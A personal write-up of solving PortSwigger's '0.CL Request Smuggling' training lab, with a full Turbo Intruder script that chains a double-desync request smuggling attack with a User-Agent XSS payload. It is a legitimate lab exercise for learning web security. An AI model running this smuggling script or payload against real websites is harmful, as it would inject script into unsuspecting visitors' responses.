Brandon T. Elliott
Lab Writeup: PortSwigger - "0.CL Request Smuggling"
The Lab
0.CL request smuggling is an expert level lab from PortSwigger’s Web Security Academy.
It’s also the newest lab released by PortSwigger at the time of this post, and is based on research done from James Kettle, which was presented recently at several conferences including Black Hat USA and DEF CON. I highly recommend this blog post for an in-depth overview and technical explanation of the research as I wouldn’t have been able to solve this lab without it.
As it turns out, I ended up being the first person to solve the new lab, and since James already livestreamed a solution to it, I figured I’d do a writeup on my method of solving it, as the details seemed to differ somewhat slightly, albeit with the same general methodology.
This lab begins with the following description:
XSS
Since we need to trigger alert()
in Carlos’ browser, we are going to need to find a cross-site scripting (XSS) vulnerability in addition to a request smuggling vulnerability.
I always like to try to do these labs in a way in which I halfway pretend (as much as possible) that I don’t actually know the vulnerability up front. So in general I like to start with a Burp crawl/audit. This would require you to have Burp Suite Pro, or another tool with similar functionality. However, we love Burp in this household, so that’s what I’m going to use.
On my initial solve, the XSS vulnerability eventually presented itself via a Burp scan, but a slightly quicker way to find it would be to do a targeted insertion point scan after an informational “User agent-dependent response” issue was found shortly into the scan.
Time is of the essence, so we can right-click this request and send it to Repeater. Then, within the request in Repeater, highlight the user agent value (in this case it’s Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
) and right-click, then click Scan selected insertion point
> Open scan launcher with selected insertion point
.
Almost immediately after starting the targeted scan of the user agent insertion point, we find that there is a reflected XSS vulnerability via the user agent header.
Interestingly, this wasn’t the XSS vulnerability that James used in the livestream demo of the solution. But it’s what I used, so let’s continue.
HTTP Request Smuggling
Okay, now that we have an XSS vulnerability, we need a way to get the victim (“Carlos”) to submit a crafted request. Obviously, Carlos is not going to inject an XSS payload into his own user agent header. But through the magic of request smuggling, maybe we can do it for him.
At this point, we know Carlos visits the homepage every 5 seconds. All we need to do now is to find a request smuggling vulnerability and exploit it, smuggling a request containing an XSS payload in the user agent.
This is the point at which I leaned heavily on his blog post.
Specifically, manually identifying the presence of this vulnerability with all of its nuances is still not 100% clear to me, and I initially had a section written up here which turned out to be somewhat inaccurate and I think helped spawn a new blog post about distinguishing between HTTP pipelining and HTTP request smuggling.
So, for now I’m just going to say that using the HTTP Request Smuggler
extension within Burp Suite for identifying the presence of HTTP request smuggling vulnerabilities is your best bet outside of the capabilities of a Burp crawl/audit. The extension can probe for these types of things quite well and is useful for essentially all of the Web Security Academy’s labs within the HTTP Request Smuggling topic.
For this lab, however, we needed a bit more power…
0.CL Request Smuggling - Solution
After fumbling around manually with varying success, I discovered a Turbo Intruder script that James made in order to make the double-desync more feasible.
To use this, we can send a fresh request for the homepage of our lab instance to Turbo Intruder.
Within Turbo Intruder, select the script for examples/0cl-exploit.py
.
This gives us basically a template for exploiting 0.CL Request Smuggling vulnerabilities and thus, for solving the lab.
We do, however, need to fill in a few blanks in order to adapt it for our use. This part took me quite a bit of time and tinkering, but I eventually came to the following conclusions:
-
/resources/css/anything
works really well as an early response gadget in the lab. Therefore, we can modifystage1
to be something like the following:POST /resources/css/anything HTTP/1.1 Host: '''+host+''' Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length : %s
To be honest, even though I initially proved the 400 Bad Request with just
/anything
as an early response gadget, using a sub-directory such as/resources/css/anything
ended up working way better for the double-desync attack. I don’t have a great explanation as to why. All I can say is I tinkered while trying to figure out why it wasn’t working initially and this is what ended up working best for me. -
We need our smuggled request to contain the XSS vulnerability, so we can modify
smuggled
to be something like the following:GET /post?postId=8 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1
-
stage2_chopped
has a comment# If the server doesn't like GET with a body, try OPTIONS etc
and that’s exactly what I ended up doing after some trial and error. We can modifystage2_chopped
to be something like the following:OPTIONS / HTTP/1.1 Content-Length: 123 X: Y
-
Finally, we can modify the last if statement so that Turbo Intruder automatically stops sending requests when the lab is solved (this isn’t really required but is nice to have):
if req.label == 'victim' and 'Congratulations' in req.response: req.engine.cancel()
With all of these pieces combined, we finally have a fully working Turbo Intruder PoC:
# Refer to https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=1,
engine=Engine.BURP,
maxRetriesPerRequest=0,
timeout=15
)
# The attack should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
stage1 = '''POST /resources/css/anything HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length : %s
'''
# This will get prefixed to the victim's request - place your payload in here
smuggled = '''GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1'''
# If the server doesn't like GET with a body, try OPTIONS etc
stage2_chopped = '''OPTIONS / HTTP/1.1
Content-Length: 123
X: Y'''
stage2_revealed = '''GET /404 HTTP/1.1
Host: '''+host+'''
User-Agent: foo
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
'''
victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: foo
'''
# No need to edit below this line
if '%s' not in stage1:
raise Exception('Please place %s in the Content-Length header value')
if not stage1.endswith('\r\n\r\n'):
raise Exception('Stage1 request must end with a blank line and have no body')
while True:
engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
engine.queue(victim, label='victim')
def handleResponse(req, interesting):
table.add(req)
# 0.CL attacks use a double desync so they can take a while!
# Uncomment & customise this if you want the attack to automatically stop on success
if req.label == 'victim' and 'Congratulations' in req.response:
req.engine.cancel()
With the tweaks outlined, this script reliably solves the lab for me after only a short amount of time (anywhere between a few seconds to a minute or so).
Interestingly, the official livestreamed solution took some time to solve the lab during the live demo and had quite a bit of differences than my solution, including an entirely different XSS vector altogether.
I think this lab goes to show that HTTP request smuggling is a vast vulnerability type that ultimately can be quite tedious to get a working proof-of-concept for (especially for the double-desync attack), although I’m sure it gets easier with more experience.
Final Thoughts
The 0.CL request smuggling lab from PortSwigger was an interesting challenge, highlighted by new research from James Kettle at PortSwigger. It gave me an opportunity to reach the #1 spot on the PortSwigger Hall of Fame, which I was able to capitalize on by solving the lab first.
However, I doubt I could’ve solved it at all without the help of James’ detailed technical explanations as well as the Turbo Intruder PoC, so big shoutout to James and PortSwigger.